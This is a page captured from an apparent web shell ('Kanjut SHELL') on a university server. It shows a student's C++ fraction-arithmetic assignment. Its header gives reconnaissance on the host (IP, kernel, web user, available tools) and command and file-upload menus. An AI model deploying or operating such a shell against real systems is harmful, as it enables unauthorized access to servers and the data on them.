Kanjut SHELL
Server IP : 172.16.15.8  /  Your IP : 3.139.234.124
Web Server : Apache
System : Linux zeus.vwu.edu 4.18.0-553.27.1.el8_10.x86_64 #1 SMP Wed Nov 6 14:29:02 UTC 2024 x86_64
User : apache ( 48)
PHP Version : 7.2.24
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON
Directory (0705) :  /home/cchansen/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : /home/cchansen/fraction2.cpp
//      Author: 	Caitlin Hansen
//      Instructor: 	Dr.Wang
//      Due Date: 	March 11, 2009
//      File Name: 	fraction2.cpp
//
//      Goal: 		define Fraction class and test the class with a driver
//              	reads the fractions from a file and computes them using 
//              	basic arithmetic. 
//

#include <iostream>

using namespace std;

class Fraction
{       int num, den;
public:
        // constructors
        Fraction()
        {       num=0; den=1;   }
        Fraction(int n, int d)
        {       num=n; den=d;   }

        // transformers
        void Set(int n, int d)
        {       num=n; den=d;   }
        void Fraction :: Reduce()
        {       int n = num;
                int d = den;
                while ( d != 0)
                {       int r = n % d;
                        n = d;
                        d = r;
                }
                if (n != 0)
                {       num /= n;
                        den /= n;
                }
                if ( den < 0)
                {       num *= (-1);
                        den *= (-1);
                }
        }
  
        // observers
        Fraction operator+ (Fraction other)
        {       Fraction add;
                add.num = (num * other.den) + (other.num * den);
                add.den = den * other.den;
                return add;
        }
        Fraction operator- (Fraction other)
        {       Fraction sub;
                sub.num = (num * other.den) - (other.num * den);
                sub.den = den * other.den;
                return sub;
        }
        Fraction operator* (Fraction other)
        {       Fraction temp;
                temp.num = num * other.num;
                temp.den = den * other.den;
                return temp;
        }
        Fraction operator/ (Fraction other)
        {       Fraction div;
                div.num = num * other.den;
                div.den = den * other.num;
                return div;
        }
        void Print() const
        {       cout << num << "/" << den;      }

};


int main()
{       Fraction x, y, z;       // 0/1
        int n, d;
        char dummy, op;

        cout << "Fraction Arithmetic";
        cout << endl;
        cin >> n >> dummy >> d;

        while(cin)
        {       x.Set(n, d);

                cin >> op;

                cin >> n >> dummy >> d;
                y.Set(n, d);

                if( op == '*')
                        z = x * y;
                else if (op == '+')
                        z = x + y;
                else if (op == '-')
                        z = x - y;
                else if (op == '/')
                        z = x / y; 


                x.Print();
                cout << " " << op << " ";
                y.Print();
                cout << " =  ";
                z.Reduce();
                z.Print();
                cout << endl;

                cin >> n >> dummy >> d;
        }

        cout <<"\n\n Done. \n\n";
        return 0;
}


Stv3n404 - 2023